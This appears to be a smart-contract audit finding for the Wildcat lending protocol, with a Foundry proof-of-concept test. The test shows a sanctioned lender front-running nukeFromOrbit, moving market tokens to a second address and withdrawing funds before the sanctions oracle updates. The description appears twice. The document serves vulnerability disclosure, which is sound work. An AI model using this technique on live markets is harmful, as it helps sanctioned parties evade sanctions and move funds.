Wildcat protocol queries Chainalysis oracle for checking whether lender is sanctioned or not. However according to docs(https://go.chainalysis.com/chainalysis-oracle-docs.html) provided by Chainalysis, they do not guarantee the timeliness of the data. What can happen here is as soon as the lender finds out that the address is sanctioned, he can transfer “market token” to other address he owns and request withdraw with that address. Unless sanction list from Chainalysis is updated within the batch duration period, lender can successfully withdraw his asset.
One assumption here is that “market token” has to be transferred before nukeFromOrbit is called(which can be easily done by front-running) as nukeFromOrbit moves all the balance to escrow contract.
PoC
// SPDX-License-Identifier: NONE
pragma solidity >=0.8.20;
import "forge-std/console.sol";
import './BaseMarketTest.sol';
contract Exploit is BaseMarketTest {
function testSanctionBypass() external {
address alice_bck = address(0xaaaa);
_deposit(alice, 1e18);
sanctionsSentinel.sanction(alice);
// Before nukeFromOrbit is called, alice transfers balance to alice_bck
vm.startPrank(alice);
market.transfer(alice_bck, market.balanceOf(alice));
vm.stopPrank();
market.nukeFromOrbit(alice);
// Grant alice_bck with withdrawOnly role
address[] memory markets = new address[](1);
markets[0] = address(market);
controller.updateLenderAuthorization(alice_bck, markets);
_requestWithdrawal(alice_bck, 1e18);
uint32 expiry = uint32(block.timestamp + parameters.withdrawalBatchDuration);
// alice_bck address shouldn't be sanctioned by sentinel in this period
fastForward(parameters.withdrawalBatchDuration);
market.executeWithdrawal(alice_bck, expiry);
console.log("Balance of alice_bck : %s", asset.balanceOf(alice_bck));
}
}
Tools Used
Visual Studio Code, Foundry
Recommended Mitigation Steps
Check whether lender is sanctioned before transferring token.
Lines of code
https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/market/WildcatMarketToken.sol#L64 https://github.com/code-423n4/2023-10-wildcat/blob/c5df665f0bc2ca5df6f06938d66494b11e7bdada/src/WildcatMarketController.sol#L182
Vulnerability details
Description
Wildcat protocol queries Chainalysis oracle for checking whether lender is sanctioned or not. However according to docs(https://go.chainalysis.com/chainalysis-oracle-docs.html) provided by Chainalysis, they do not guarantee the timeliness of the data. What can happen here is as soon as the lender finds out that the address is sanctioned, he can transfer “market token” to other address he owns and request withdraw with that address. Unless sanction list from Chainalysis is updated within the batch duration period, lender can successfully withdraw his asset.
One assumption here is that “market token” has to be transferred before
nukeFromOrbit
is called(which can be easily done by front-running) as nukeFromOrbit moves all the balance to escrow contract.PoC
Tools Used
Visual Studio Code, Foundry
Recommended Mitigation Steps
Check whether lender is sanctioned before transferring token.
Assessed type
Token-Transfer